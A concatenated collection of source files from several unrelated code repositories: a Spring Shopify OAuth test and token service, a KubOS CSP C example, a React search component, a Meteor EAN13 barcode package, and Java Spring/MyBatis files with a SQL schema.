import org.springframework.security.oauth2.client.endpoint.OAuth2AccessTokenResponseClient;
import org.springframework.security.oauth2.client.endpoint.OAuth2AuthorizationCodeGrantRequest;
import org.springframework.security.oauth2.client.web.HttpSessionOAuth2AuthorizationRequestRepository;
import org.springframework.security.oauth2.core.OAuth2AuthorizationException;
import org.springframework.security.oauth2.core.OAuth2Error;
import org.springframework.security.oauth2.core.endpoint.OAuth2AuthorizationRequest;
import org.springframework.test.context.TestPropertySource;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.util.MultiValueMap;
import org.springframework.web.client.RestTemplate;
import com.lm.ShopifyEmbeddedAppSpringBootApplication;
import com.lm.security.authentication.CipherPassword;
import com.lm.security.authentication.ShopifyVerificationStrategy;
import com.lm.security.oauth2.integration.config.HttpsRequestPostProcessor;
import com.lm.security.oauth2.integration.config.TestConfig;
import com.lm.security.web.ShopifyAuthorizationCodeTokenResponseClient;
/*
* Test the third "step": once we have the authorization code, POST to obtain the token from Shopify
*
* - In step 1, we redirected to Shopify for authorization
* - In step 2, Shopify responds by sending the authorization code in the url
* ... In step 3, we prepare a POST request to obtain the OAuth token
*
* We stop right when we are about to request the OAuth token from Shopify.
*
*/
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT, classes= {ShopifyEmbeddedAppSpringBootApplication.class, TestConfig.class})
@TestPropertySource(locations="classpath:test-application.properties")
@AutoConfigureMockMvc
public class Step3_AccessToken_ShopifyAuthorizationCodeTokenResponseClient_Test {
@Autowired
private MockMvc mockMvc;
@Autowired
private OAuth2AccessTokenResponseClient<OAuth2AuthorizationCodeGrantRequest> accessTokenResponseClient;
@Autowired
private JdbcTemplate jdbc;
@Autowired
private CipherPassword cipherPassword;
@MockBean
private ShopifyVerificationStrategy strategyMock;
private HttpsRequestPostProcessor httpsPostProcessor = new HttpsRequestPostProcessor();
private String SESSION_ATTRIBUTE_NAME = HttpSessionOAuth2AuthorizationRequestRepository.class.getName() + ".AUTHORIZATION_REQUEST";
private OAuth2AuthorizationCodeGrantRequest caughtAuthorizationCodeGrantRequest;
private String CODE = "sample_code_returned_by_Shopify";
private String HMAC = "da9d83c171400a41f8db91a950508985";
private String TIMESTAMP = "1409617544";
private String SHOP = "newstoretest.myshopify.com";
private String SHOPIFY_TOKEN_URI = "https://" + SHOP + "/admin/oauth/access_token";
/*
* Perform the initial Authorization request and grab objects stored in the HttpSession
* that will be used to "continue" the session in the test.
*
* Capture the OAuth2AuthorizationCodeGrantRequest passed into OAuth2AccessTokenResponseClient.getTokenResponse(...)
* to test our token client.
*
*/
@SuppressWarnings("unchecked")
@Before
public void initializeValue() throws Exception {
doReturn(true).when(strategyMock).isShopifyRequest(any());
doReturn(true).when(strategyMock).hasValidNonce(any());
String sampleSalt = KeyGenerators.string().generateKey();
TextEncryptor encryptor = Encryptors.queryableText(cipherPassword.getPassword(), sampleSalt);
jdbc.update("UPDATE STOREACCESSTOKENS SET access_token=?, salt=? WHERE shop='lmdev.myshopify.com'", encryptor.encrypt("sample"), sampleSalt);
// Part 1 - shop will install app, save OAuth2AuthorizationRequest in the session. We retrieve it.
MvcResult mR = this.mockMvc.perform(get("/install/shopify?shop=newstoretest.myshopify.com×tamp=dsd&hmac=sdfasrf4324").secure(true).with(httpsPostProcessor)).andReturn();
HttpSession rSession = mR.getRequest().getSession();
Map<String, OAuth2AuthorizationRequest> oAuth2AuthorizationRequests = (Map<String, OAuth2AuthorizationRequest>)rSession.getAttribute(SESSION_ATTRIBUTE_NAME);
Iterator<Entry<String, OAuth2AuthorizationRequest>> it = oAuth2AuthorizationRequests.entrySet().iterator();
String state = it.next().getKey();
// Prepare the session for part 2.
MockHttpSession session = new MockHttpSession();
session.setAttribute(SESSION_ATTRIBUTE_NAME, oAuth2AuthorizationRequests);
// Part 2 - Shopify redirects to us, we prepare POST request
when(accessTokenResponseClient.getTokenResponse(ArgumentMatchers.any())).thenThrow(new OAuth2AuthorizationException(new OAuth2Error("502")));
this.mockMvc.perform(get("/login/app/oauth2/code/shopify?code=" + CODE + "&hmac=" + HMAC + "×tamp=" + TIMESTAMP + "&state=" + state + "&shop=" + SHOP).session(session).secure(true).with(httpsPostProcessor)).andReturn();
ArgumentCaptor<OAuth2AuthorizationCodeGrantRequest> grantRequest = ArgumentCaptor.forClass(OAuth2AuthorizationCodeGrantRequest.class);
verify(accessTokenResponseClient).getTokenResponse(grantRequest.capture());
// Before obtaining the OAuth token, capture the OAuth2AuthorizationCodeGrantRequest
caughtAuthorizationCodeGrantRequest = grantRequest.getValue();
}
/*
* We test the ShopifyAuthorizationCodeTokenResponseClient to make sure it passes correct
* information to the converter that will actually write the body of the POST request for
* the OAuth token.
*
* Make sure:
*
* 1. The uri is correct (it's the Shopify token uri)
* 2. This is a POST
* 3. The body contains the following parameters:
* - client_id: The API key for the app, as defined in the Partner Dashboard.
* - client_secret: The API secret key for the app, as defined in the Partner Dashboard.
* - code: The same code sent back by SHOPIFY
*/
@SuppressWarnings("unchecked")
@Test
public void givenOAuth2AuthorizationCodeGrantRequest_theFormHttpMessageConverterCreatesValidTokenRequest() throws Exception {
ShopifyAuthorizationCodeTokenResponseClient oAuth2AccessTokenResponseClient = new ShopifyAuthorizationCodeTokenResponseClient();
// we don't want the converter to write anything at this point
FormHttpMessageConverter mockConverter = mock(FormHttpMessageConverter.class);
when(mockConverter.canWrite(any(Class.class), any())).thenReturn(true);
doThrow(new RuntimeException("TEST _ EXPECTED EXCEPTION")).when(mockConverter).write(any(), any(), any());
// Set the mock converter in the tokenResponseClient
RestTemplate restTemplate = new RestTemplate(Arrays.asList(mockConverter));
oAuth2AccessTokenResponseClient.setRestOperations(restTemplate);
// Use the authorizationCodeGrantRequest from step 2 to "get" a token response
try {
// The converter should throw an exception
oAuth2AccessTokenResponseClient.getTokenResponse(this.caughtAuthorizationCodeGrantRequest);
} catch(RuntimeException e) {
// expected
}
ArgumentCaptor<MultiValueMap<String,?>> requestParamsMapCapt = ArgumentCaptor.forClass(MultiValueMap.class);
ArgumentCaptor<HttpOutputMessage> outputMessageCapt = ArgumentCaptor.forClass(HttpOutputMessage.class);
// the mock converter was invokeds
verify(mockConverter).write(requestParamsMapCapt.capture(), any(), outputMessageCapt.capture());
ClientHttpRequest requestCapt = (ClientHttpRequest)outputMessageCapt.getValue();
// 1. The uri is correct (it's the Shopify token uri)
Assert.assertEquals(SHOPIFY_TOKEN_URI, requestCapt.getURI().toURL().toString());
// 2. This is a POST
Assert.assertEquals(HttpMethod.POST, requestCapt.getMethod());
MultiValueMap<String,?> requestParamsMap = requestParamsMapCapt.getValue();
// 3. The body contains the necessary parameters
Assert.assertTrue(requestParamsMap.containsKey("client_id"));
Assert.assertTrue(requestParamsMap.containsKey("client_secret"));
Assert.assertTrue(requestParamsMap.containsKey("code"));
}
}
<file_sep>package com.lm.security.service;
import java.util.Set;
import org.springframework.security.core.Authentication;
import org.springframework.security.crypto.encrypt.Encryptors;
import org.springframework.security.crypto.encrypt.TextEncryptor;
import org.springframework.security.crypto.keygen.KeyGenerators;
import org.springframework.security.oauth2.client.OAuth2AuthorizedClient;
import org.springframework.security.oauth2.client.authentication.OAuth2AuthenticationToken;
import org.springframework.security.oauth2.client.registration.ClientRegistration;
import org.springframework.security.oauth2.client.registration.ClientRegistrationRepository;
import org.springframework.security.oauth2.core.OAuth2AccessToken;
import com.lm.security.authentication.CipherPassword;
import com.lm.security.configuration.SecurityBeansConfig;
import com.lm.security.repository.EncryptedTokenAndSalt;
import com.lm.security.repository.TokenRepository;
import com.lm.security.repository.TokenRepository.OAuth2AccessTokenWithSalt;
public class TokenService {
public static final String SHOP_ATTRIBUTE_NAME = "shop";
private TokenRepository tokenRepository;
private CipherPassword cipherPassword;
private ClientRegistrationRepository clientRepository;
public TokenService(TokenRepository tokenRepository, CipherPassword cipherPassword, ClientRegistrationRepository clientRepository) {
this.tokenRepository = tokenRepository;
this.cipherPassword = cipherPassword;
this.clientRepository = clientRepository;
}
public void saveNewStore(OAuth2AuthorizedClient authorizedClient, Authentication principal) {
String shop = getStoreName(principal);
Set<String> scopes = authorizedClient.getAccessToken().getScopes();
EncryptedTokenAndSalt encryptedTokenAndSalt = getTokenAndSalt(authorizedClient);
this.tokenRepository.saveNewStore(shop, scopes, encryptedTokenAndSalt);
}
// returns true if a store with this name exists, regardless of validity of stored credentials
public boolean doesStoreExist(String shop) {
OAuth2AccessTokenWithSalt token = this.tokenRepository.findTokenForRequest(shop);
if(token != null) {
return true;
}
return false;
}
// will return an existing, valid store
public OAuth2AuthorizedClient getStore(String shopName) {
OAuth2AccessTokenWithSalt ets = this.tokenRepository.findTokenForRequest(shopName);
if(ets == null) {
return null;
}
OAuth2AccessToken rawToken = getRawToken(ets);
if(rawToken == null) {
// the salt and encrypted passwords are out of date
return null;
}
ClientRegistration cr = clientRepository.findByRegistrationId(SecurityBeansConfig.SHOPIFY_REGISTRATION_ID);
if(cr == null) {
throw new RuntimeException("An error occurred retrieving the ClientRegistration for " + SecurityBeansConfig.SHOPIFY_REGISTRATION_ID);
}
return new OAuth2AuthorizedClient(
cr,
shopName,
rawToken,
null);
}
public void updateStore(OAuth2AuthorizedClient authorizedClient, Authentication principal) {
String shop = getStoreName(principal);
EncryptedTokenAndSalt encryptedTokenAndSalt = getTokenAndSalt(authorizedClient);
this.tokenRepository.updateKey(shop, encryptedTokenAndSalt);
}
public void uninstallStore(String store) {
this.tokenRepository.uninstallStore(store);
}
private String getStoreName(Authentication principal) {
String shop = ((OAuth2AuthenticationToken)principal).getPrincipal().getName();
return shop;
}
private OAuth2AccessToken getRawToken(OAuth2AccessTokenWithSalt toS) {
String salt = toS.getSalt();
OAuth2AccessToken enTok = toS.getAccess_token();
String decryptedToken = decryptToken(new EncryptedTokenAndSalt(enTok.getTokenValue(), salt));
return new OAuth2AccessToken(enTok.getTokenType(),
decryptedToken,
enTok.getIssuedAt(),
enTok.getExpiresAt(),
enTok.getScopes());
}
private EncryptedTokenAndSalt getTokenAndSalt(OAuth2AuthorizedClient authorizedClient) {
String rawAccessTokenValue = authorizedClient.getAccessToken().getTokenValue();
String genSalt = KeyGenerators.string().generateKey();
TextEncryptor encryptor = Encryptors.queryableText(cipherPassword.getPassword(), genSalt);
return new EncryptedTokenAndSalt(encryptor.encrypt(rawAccessTokenValue), genSalt);
}
private String decryptToken(EncryptedTokenAndSalt enC) {
TextEncryptor textEncryptor = Encryptors.queryableText(cipherPassword.getPassword(), enC.getSalt());
String decryptedToken = null;
try {
decryptedToken = textEncryptor.decrypt(enC.getEncryptedToken());
} catch(Exception e) {
// the cipher password changed...
}
return decryptedToken;
}
}
|
0eb04c5808b643d6077f6ed12dd7122c932daa1d
|
[
"Markdown",
"Java",
"SQL",
"INI"
] | 20
|
Java
|
natf17/shopify-spring-boot-embedded-app
|
23a9183ac4269a24babb455a246b8565b360cc19
|
6be20eeb17b6322953a7dbe28ecc636b83ffa32b
|
refs/heads/master
|
<file_sep>/*
* KubOS RT
* Copyright (C) 2016 Kubos Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include "FreeRTOS.h"
#include "task.h"
#include "timers.h"
#include "queue.h"
#include "kubos-hal/gpio.h"
#include "kubos-hal/uart.h"
#include <csp/csp.h>
#include <csp/arch/csp_thread.h>
#include <csp/drivers/usart.h>
#include <csp/interfaces/csp_if_kiss.h>
/**
* Enabling this example code requires certain configuration values to be present
* in the configuration json of this application. An example is given below:
*
* {
* "CSP": {
* "my_address": "1",
* "target_address": "2",
* "port": "10",
* "uart_bus": "K_UART6",
* "usart": {
* }
* }
* }
*
* This would create enable CSP KISS, the address of your device and target device,
* the listening port and UART interface. Invert the addresses when flashing the target board.
*/
#define MY_ADDRESS YOTTA_CFG_CSP_MY_ADDRESS
#define TARGET_ADDRESS YOTTA_CFG_CSP_TARGET_ADDRESS
#define MY_PORT YOTTA_CFG_CSP_PORT
#define BLINK_MS 100
static xQueueHandle button_queue;
/* kiss interfaces */
static csp_iface_t csp_if_kiss;
static csp_kiss_handle_t csp_kiss_driver;
static inline void blink(int pin) {
k_gpio_write(pin, 1);
vTaskDelay(BLINK_MS / portTICK_RATE_MS);
k_gpio_write(pin, 0);
}
void csp_server(void *p) {
(void) p;
portBASE_TYPE task_woken = pdFALSE;
/* Create socket without any socket options */
csp_socket_t *sock = csp_socket(CSP_SO_NONE);
/* Bind all ports to socket */
csp_bind(sock, CSP_ANY);
/* Create 10 connections backlog queue */
csp_listen(sock, 10);
/* Pointer to current connection and packet */
csp_conn_t *conn;
csp_packet_t *packet;
/* Process incoming connections */
while (1) {
/* Wait for connection, 100 ms timeout */
if ((conn = csp_accept(sock, 100)) == NULL)
continue;
/* Read packets. Timout is 100 ms */
while ((packet = csp_read(conn, 100)) != NULL) {
switch (csp_conn_dport(conn)) {
case MY_PORT:
/* Process packet here */
blink(K_LED_GREEN);
csp_buffer_free(packet);
break;
default:
/* Let the service handler reply pings, buffer use, etc. */
#ifdef TARGET_LIKE_MSP430
blink(K_LED_GREEN);
blink(K_LED_RED);
#else
blink(K_LED_BLUE);
#endif
csp_service_handler(conn, packet);
break;
}
}
/* Close current connection, and handle next */
csp_close(conn);
}
}
void csp_client(void *p) {
(void) p;
csp_packet_t * packet;
csp_conn_t * conn;
portBASE_TYPE status;
int signal;
/**
* Try ping
*/
csp_sleep_ms(200);
#ifdef TARGET_LIKE_MSP430
blink(K_LED_RED);
#else
blink(K_LED_ORANGE);
#endif
int result = csp_ping(TARGET_ADDRESS, 100, 100, CSP_O_NONE);
/* if successful ping */
if (result) {
#ifdef TARGET_LIKE_MSP430
blink(K_LED_RED);
#else
blink(K_LED_ORANGE);
#endif
}
/**
* Try data packet to server
*/
while (1) {
status = xQueueReceive(button_queue, &signal, portMAX_DELAY);
if (status != pdTRUE) {
continue;
}
/* Get packet buffer for data */
packet = csp_buffer_get(100);
if (packet == NULL) {
/* Could not get buffer element */
return;
}
/* Connect to host HOST, port PORT with regular UDP-like protocol and 1000 ms timeout */
conn = csp_connect(CSP_PRIO_NORM, TARGET_ADDRESS, MY_PORT, 100, CSP_O_NONE);
if (conn == NULL) {
/* Connect failed */
/* Remember to free packet buffer */
csp_buffer_free(packet);
return;
}
/* Copy dummy data to packet */
char *msg = "Hello World";
strcpy((char *) packet->data, msg);
/* Set packet length */
packet->length = strlen(msg);
/* Send packet */
if (!csp_send(conn, packet, 100)) {
/* Send failed */
csp_buffer_free(packet);
}
/* success */
blink(K_LED_RED);
/* Close connection */
csp_close(conn);
}
}
void task_button_press(void *p) {
int signal = 1;
while (1) {
if (k_gpio_read(K_BUTTON_0)) {
while (k_gpio_read(K_BUTTON_0))
vTaskDelay(50 / portTICK_RATE_MS); /* Button Debounce Delay */
while (!k_gpio_read(K_BUTTON_0))
vTaskDelay(50 / portTICK_RATE_MS); /* Button Debounce Delay */
blink(K_LED_RED);
xQueueSendToBack(button_queue, &signal, 0); /* Send Message */
}
vTaskDelay(100 / portTICK_RATE_MS);
}
}
int main(void)
{
k_uart_console_init();
#ifdef TARGET_LIKE_STM32
k_gpio_init(K_LED_GREEN, K_GPIO_OUTPUT, K_GPIO_PULL_NONE);
k_gpio_init(K_LED_ORANGE, K_GPIO_OUTPUT, K_GPIO_PULL_NONE);
k_gpio_init(K_LED_RED, K_GPIO_OUTPUT, K_GPIO_PULL_NONE);
k_gpio_init(K_LED_BLUE, K_GPIO_OUTPUT, K_GPIO_PULL_NONE);
k_gpio_init(K_BUTTON_0, K_GPIO_INPUT, K_GPIO_PULL_NONE);
#endif
#ifdef TARGET_LIKE_MSP430
k_gpio_init(K_LED_GREEN, K_GPIO_OUTPUT, K_GPIO_PULL_NONE);
k_gpio_init(K_LED_RED, K_GPIO_OUTPUT, K_GPIO_PULL_NONE);
k_gpio_init(K_BUTTON_0, K_GPIO_INPUT, K_GPIO_PULL_UP);
/* Stop the watchdog. */
WDTCTL = WDTPW + WDTHOLD;
__enable_interrupt();
P2OUT = BIT1;
#endif
button_queue = xQueueCreate(10, sizeof(int));
struct usart_conf conf;
/* set the device in KISS / UART interface */
char dev = (char)YOTTA_CFG_CSP_UART_BUS;
conf.device = &dev;
usart_init(&conf);
/* init kiss interface */
csp_kiss_init(&csp_if_kiss, &csp_kiss_driver, usart_putc, usart_insert, "KISS");
/* Setup callback from USART RX to KISS RS */
void my_usart_rx(uint8_t * buf, int len, void * pxTaskWoken) {
csp_kiss_rx(&csp_if_kiss, buf, len, pxTaskWoken);
}
usart_set_callback(my_usart_rx);
/* csp buffer must be 256, or mtu in csp_iface must match */
csp_buffer_init(5, 256);
csp_init(MY_ADDRESS);
/* set to route through KISS / UART */
csp_route_set(TARGET_ADDRESS, &csp_if_kiss, CSP_NODE_MAC);
csp_route_start_task(500, 1);
xTaskCreate(csp_server, "CSPSRV", configMINIMAL_STACK_SIZE, NULL, 2, NULL);
xTaskCreate(csp_client, "CSPCLI", configMINIMAL_STACK_SIZE, NULL, 2, NULL);
xTaskCreate(task_button_press, "BUTTON", configMINIMAL_STACK_SIZE, NULL, 3, NULL);
vTaskStartScheduler();
while (1);
return 0;
}
|
c6e872f80a4e1570d60139a6d3f0a2ead27c6350
|
[
"C"
] | 1
|
C
|
kubostech/kubos-csp-example
|
e4210c1aec6c6068d78ffb65d5da304be88dc240
|
444f502644f75cf93fbc98beec3e5515a571687a
|
refs/heads/master
|
<file_sep>import React from "react";
import ReactDOM from "react-dom";
const API = "https://hn.algolia.com/api/v1/search?query=";
const DEFAULT_QUERY = "redux";
export default class NewClassComponent extends React.Component {
constructor(props) {
super(props);
this.state = { hits: [], isLoading: false, search: "", error: null };
}
componentDidMount() {
fetch(API + DEFAULT_QUERY)
.then(response => {
if (response.ok) {
return response.json();
} else {
throw new Error("Something went wrong ...");
}
})
.then(data => this.setState({ hits: data.hits, isLoading: false }))
.catch(error => this.setState({ error, isLoading: false }));
//.then() is used because of latency between requesting data and actually receiving the data;
//if not used user might have to wait 10+seconds before new data or any data is loaded;
}
onSearch(event) {
var search = event.target.value;
this.setState({ search });
}
filterList(currentValue) {
let keep = true;
if (this.state.search.trim().length > 0) {
keep = currentValue.title.includes(this.state.search);
}
return keep;
}
render() {
const { hits, isLoading, error } = this.state;
if (error) {
return <p>{error.message}</p>;
}
/*if (isLoading) {
return <p>Loading ...</p>;
}*/
return (
<div>
Search: {" "}
<input
type="text"
value={this.state.search}
onChange={this.onSearch.bind(this)}
/>
<button> Search </button>
<ul>
{hits.filter(this.filterList.bind(this)).map(hit => (
<li key={hit.objectID}>
<a href={hit.url}>{hit.title}</a>
</li>
))}
</ul>
{/*<h1>Empty class component</h1>*/}
</div>
);
}
}
|
b749289f1609363f4890f9f2219fa3113024dd5b
|
[
"JavaScript"
] | 1
|
JavaScript
|
github99er/JSFetch_Ex
|
7e9c8042bc97bf57d81f4b1f6fc793559e32fc67
|
626ff069e502dcfe1708ec01b55d9f21cb3e3b71
|
refs/heads/master
|
<file_sep>Template.xvendo_barcoder.onRendered(function() {
// Get Template data values
var dataId = Template.instance().data.id;
var dataEan = Template.instance().data.ean;
var element = document.getElementById(dataId);
// Generate EAN Canvas
new EAN13(element,dataEan);
});
<file_sep># Package for creating EAN13 barcodes
https://en.wikipedia.org/wiki/International_Article_Number_%28EAN%29
Very simple ean13 barcode generator that uses html5 canvas.
## Package Info
This is an meteorized library originally released under MIT License
https://github.com/joushx/jQuery.EAN13
## Installation:
Use `meteor add xvendo:barcoder` to install.
## Usage:
```
{{> xvendo_barcoder id="idme" ean="1234567890123"}}
```
|
1b08b3dbd287be76b788892898cb7dd6502d0185
|
[
"JavaScript",
"Markdown"
] | 2
|
JavaScript
|
xvendo/barcoder
|
1a77eca6ff5b5fed7c0bc240c45d771d00113288
|
c55ac1d3676263a7fcb14738fac222505ad6575b
|
refs/heads/master
|
<repo_name>Fsoya/ToDayChangeTime<file_sep>/src/main/java/org/soya/mcore/util/ParameterUtil.java
package org.soya.mcore.util;
import javax.servlet.http.Cookie;
import java.util.HashMap;
import java.util.Map;
/**
* 参数转换
* Created by FunkySoya on 2015/4/23.
*/
public class ParameterUtil {
public static Map<String,String> cookiesToMap(Cookie[] cookies){
Map<String,String> map = new HashMap<String,String>();
if (cookies != null){
for (Cookie cookie : cookies){
map.put(cookie.getName(),cookie.getValue());
}
}
return map;
}
}
<file_sep>/src/main/java/org/soya/tdct/mapper/CountryMapper.java
package org.soya.tdct.mapper;
import org.soya.tdct.model.Country;
import org.springframework.stereotype.Repository;
import java.util.List;
@Repository
public interface CountryMapper {
Country selectCountryByCode(String code);
List<Country> queryAllCountry();
}
<file_sep>/src/main/java/org/soya/tdct/mapper/BusinessMapper.java
package org.soya.tdct.mapper;
import org.apache.ibatis.annotations.Param;
import org.soya.tdct.model.Business;
import org.springframework.stereotype.Repository;
/**
* Created by FunkySoya on 2015/6/18.
*/
@Repository
public interface BusinessMapper {
Boolean add(Business business);
Boolean update(Business business);
Boolean del(@Param("businessId")String businessId);
}
<file_sep>/src/main/java/org/soya/tdct/service/CountrySer.java
package org.soya.tdct.service;
import org.soya.tdct.model.Country;
import org.springframework.stereotype.Service;
import java.util.List;
/**
* Created by FunkySoya on 2015/3/29.
*/
@Service
public interface CountrySer {
Country selectCountryByCode(String code);
List<Country> queryAllCountry();
}
<file_sep>/src/main/test/org/soya/mcore/service/impl/BaseDataSerImplTest.java
package org.soya.mcore.service.impl;
import org.junit.Before;
import org.junit.Test;
import org.soya.mcore.model.Dictionary;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.data.redis.core.BoundHashOperations;
import org.springframework.data.redis.core.StringRedisTemplate;
import redis.clients.jedis.Jedis;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Map;
public class BaseDataSerImplTest {
StringRedisTemplate redisTemplate = null;
Jedis jedis = null;
@Before
public void setUp() throws Exception {
ApplicationContext ctx = new ClassPathXmlApplicationContext("Spring-config.xml");
redisTemplate = (StringRedisTemplate)ctx.getBean("redisTemplate");
//
// jedis = new Jedis("127.0.0.1",6379);
// jedis.auth("<PASSWORD>");
}
@Test
public void testGetListByType() throws Exception {
// ScanResult<Map.Entry<String, String>> gameType = jedis.hscan("gameType", "");
// System.out.print(gameType);
List<Dictionary> dictList = new ArrayList<>();
Dictionary dict = null;
BoundHashOperations boundHashOperations = redisTemplate.boundHashOps("gameType");
Map<String,String> map = boundHashOperations.entries();
for (Map.Entry<String, String> entry : map.entrySet()) {
dict = new Dictionary();
dict.setCode(entry.getKey());
dict.setName(entry.getValue());
dictList.add(dict);
}
//取出为map无序,此处排序
Collections.sort(dictList);
for(Dictionary obj : dictList){
System.out.println(obj.getName());
}
}
@Test
public void testGetMapByCode() throws Exception {
}
@Test
public void runData() throws Exception {
// redisTemplate.delete("gameType");
// redisTemplate.delete("platform");
// redisTemplate.delete("edition");
// BoundHashOperations<String,String,String> gametype = redisTemplate.boundHashOps("gameType");
// gametype.put("ACT","动作游戏");
// gametype.put("AVG","冒险游戏");
// gametype.put("FPS", "第一人称视点射击游戏");
// gametype.put("FTG", "格斗游戏");
// gametype.put("MUG", "音乐游戏");
// gametype.put("PUZ","益智类游戏");
// gametype.put("RAC","赛车游戏");
// gametype.put("RPG","角色扮演游戏");
// gametype.put("RTS","即时战略游戏");
// gametype.put("SLG","模拟/战棋式战略游戏");
// gametype.put("SPG","体育运动游戏");
// gametype.put("STG","射击游戏");
// gametype.put("TAB","桌面游戏");
// gametype.put("AVG/ADV","恋爱养成游戏");
// gametype.put("OTHER","其他类型游戏");
//
// BoundHashOperations<String,String,String> platform = redisTemplate.boundHashOps("platform");
// platform.put("PS4","PS4");
// platform.put("PS3","PS3");
// platform.put("PS2","PS2");
// platform.put("PS","PS");
// platform.put("XBOXONE","XBOXONE");
// platform.put("XBOX360","XBOX360");
// platform.put("XBOX","XBOX");
// platform.put("WIIU","WIIU");
// platform.put("WII","WII");
// platform.put("PSV","PSV");
// platform.put("PSP","PSP");
// platform.put("3DS","3DS");
// platform.put("NDS","NDS");
// platform.put("PC","PC");
// platform.put("SS","SS");
// platform.put("MD","MD");
// platform.put("GBC","GBC");
// platform.put("GBA","GBA");
// platform.put("OTHER","OTHER");
//
// BoundHashOperations<String,String,String> edition = redisTemplate.boundHashOps("edition");
// edition.put("AS","亚版");
// edition.put("EU","欧版");
// edition.put("AM","美版");
// edition.put("AU","澳版");
// edition.put("CHN","国行");
// edition.put("UK","港版");
// edition.put("TW","台版");
// edition.put("JP","日版");
// edition.put("ROK","韩版");
// edition.put("OTHER","其他");
BoundHashOperations<String,String,String> quality = redisTemplate.boundHashOps("quality");
quality.put("99","九成九新");
quality.put("90","九成新");
quality.put("70","七成新");
quality.put("50","五成新");
quality.put("40","五成以下");
BoundHashOperations<String,String,String> tradingWay = redisTemplate.boundHashOps("tradingWay");
tradingWay.put("1","在线交易平台");
tradingWay.put("2","面交");
tradingWay.put("3","其他");
}
}<file_sep>/src/main/java/org/soya/mcore/interceptor/SessionSecurityInterceptor.java
package org.soya.mcore.interceptor;
import com.alibaba.fastjson.JSON;
import org.soya.mcore.constant.Context;
import org.soya.mcore.constant.Status;
import org.soya.mcore.dto.ReturnBody;
import org.soya.mcore.model.User;
import org.soya.tdct.service.UserSer;
import org.soya.mcore.util.ParameterUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.net.URLDecoder;
import java.util.Map;
/**
* 验证用户权限
* Created by FunkySoya on 2015/4/12.
*/
public class SessionSecurityInterceptor implements HandlerInterceptor {
public String[] allowUrls;//不需要拦截的请求,配置文件中注入
@Autowired
UserSer userSer;
public void setAllowUrls(String[] allowUrls) {
this.allowUrls = allowUrls;
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String requestUrl = request.getRequestURI().replace(request.getContextPath(), "");
ReturnBody rbody = new ReturnBody();
if (null != allowUrls && allowUrls.length >= 1) {
for (String url : allowUrls) {
if (requestUrl.contains(url)) {
return true;
}
}
}
HttpSession session = request.getSession();
User user = (User) session.getAttribute(Context.USER);
if (user == null) {
rbody.setRedirectUrl("/login");
rbody.setStatus(Status.REDIRECT);
response.getWriter().print(JSON.toJSONString(rbody));
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}
<file_sep>/src/main/java/org/soya/mcore/controller/BaseController.java
package org.soya.mcore.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.soya.mcore.constant.Status;
import org.soya.mcore.dto.ReturnBody;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
/**
*
* Created by Administrator on 2015/6/1.
*/
public class BaseController {
/**
* 统一异常处理
* @param request
* @param ex
* @return
*/
@ExceptionHandler
@ResponseBody
public ReturnBody exp(HttpServletRequest request, Exception ex){
Logger log = LoggerFactory.getLogger(this.getClass());
ReturnBody rbody = new ReturnBody();
rbody.setStatus(Status.ERROR);
rbody.setMsg(ex.getMessage());
log.error(request.getServletPath() + ":" + ex.getMessage());
return rbody;
}
}
<file_sep>/src/main/java/org/soya/tdct/service/UserSer.java
package org.soya.tdct.service;
import org.apache.ibatis.annotations.Param;
import org.soya.mcore.model.User;
/**
* Created by Administrator on 2015/4/17.
*/
public interface UserSer {
public User selectByName(String userName);
public User selectByNickName(String nickName);
public int updateToken(String userId,String token);
public int addUser(User user);
}
<file_sep>/src/main/java/org/soya/tdct/service/impl/UserSerImpl.java
package org.soya.tdct.service.impl;
import org.soya.mcore.mapper.UserMapper;
import org.soya.mcore.model.User;
import org.soya.tdct.service.UserSer;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
/**
* Created by Administrator on 2015/4/17.
*/
@Service
public class UserSerImpl implements UserSer {
@Autowired
UserMapper mapper;
@Override
public User selectByName(String userName) {
return mapper.selectByName(userName);
}
@Override
public int updateToken(String userId,String token) {
return mapper.updateToken(userId, token);
}
@Override
public User selectByNickName(String nickName) {
return mapper.selectByNickName(nickName);
}
public int addUser(User user){
return mapper.insertUser(user);
}
}
<file_sep>/sql/db.sql
CREATE DATABASE `db_tdct` /*!40100 DEFAULT CHARACTER SET utf8 */;
CREATE TABLE `tuser` (
`userId` int NOT NULL AUTO_INCREMENT, ##用户ID
`userName` varchar(45) NOT NULL, ##用户名(email)
`nickName` varchar(45) NOT NULL, ##昵称
`password` varchar(45) NOT NULL, ##密码
`createDate` datetime NOT NULL, ##创建日期
`lastLoginDate` datetime DEFAULT NULL, ##登陆日期
`ip` varchar(45) DEFAULT NULL, ##IP
`photo` varchar(45) DEFAULT NULL, ##头像
`qq` varchar(45) DEFAULT NULL, ##QQ
`locked` tinyint(4) DEFAULT '0', ##锁定 1锁定 0未锁定
